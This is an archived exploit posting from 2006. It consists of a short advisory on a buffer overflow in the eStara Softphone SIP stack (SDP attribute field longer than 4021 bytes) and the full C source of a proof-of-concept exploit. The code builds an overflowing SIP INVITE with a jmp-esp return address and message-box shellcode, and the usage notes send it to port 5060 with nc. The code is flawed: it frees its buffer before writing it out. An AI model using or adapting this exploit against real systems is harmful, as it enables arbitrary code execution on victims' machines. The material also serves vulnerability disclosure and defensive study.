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eStara.c

eStara.c
Posted Jan 12, 2006
Authored by Zwell | Site donews.net

eStara Softphone buffer overflow exploit that makes use of a vulnerability in the SIP stack processing. Versions 3.0.1.14 and 3.0.1.46 were verified vulnerable.

tags | exploit, overflow
SHA-256 | 382b1c07faea1deb25c0e2911fccc9df59685b96488eb391a4d7676a072f4005
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eStara.c

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eStara Softphone is a SIP softphone. There exists a buffer overflow venerability in the SIP stack when a SIP packet with SDP data, and the data length of the attribute filed ("a") large than 4021 bytes.
By exploiting this buffer overflow, an attacker can potentially gain control of the return address of the executing function, allowing arbitrary code execution with logon user's privileges.
eStara Softphone 3.0.1.14 and 3.0.1.46(latest) are vulnerable. the others may also be affected.

===============exploit.c=====================
/***************************************
eStara Softphone buffer overflow exploit
tested on :
  eStara Softphone 3.0.1.14
    ||||||
  eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe

Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.

Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/

#include <windows.h>
#include <stdio.h>

unsigned char invite[] = {
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};

unsigned char jmpesp[] ={ //jmpesp=0x7ffa4512;
  0x12, 0x45, 0xfa, 0x7f
};

unsigned char end[] = {
  0x32, 0x33, 0x34, 0x35, 0x36, 
  0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 
  0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 
  0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 
  0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 
  0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3A, 0x30, 0x20, 0x50, 0x43, 0x4D, 0x55, 0x2F, 
  0x38, 0x30, 0x30, 0x30, 0x0D, 0x0A
};



unsigned char scode[] =
"\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"
"\x68\x61\x63\x6b"  //"hack"
"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 6861636b PUSH 6b636168 ; Create string.= hack
//54 PUSH ESP ; Get the offset to the 
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//52 PUSH EAX ; Message
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump 


int main()
{
  FILE *stream;
  unsigned char *exploitbuf;
  int size;
  char *filename = "sip_overbuf_exploit.dat";
  DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0x77d6e824;
                      //If others, just change it;

  size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);
  exploitbuf = (unsigned char *)malloc(size);
  printf("exploitbuf len = %d\n", size);
  memcpy(exploitbuf, invite, sizeof(invite));
  memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));
  memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));
  *(DWORD *)&scode[1] = msgboxaddr+0x11111111;
  memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));
  

  if( (stream = fopen( filename, "w+b" )) == NULL )
    printf("Build File Error!!!\n");  
  else
    printf("Build File %s successful! ^_^\n", filename);

  free(exploitbuf);
  fwrite( exploitbuf, size, 1, stream );
  fclose(stream);
}
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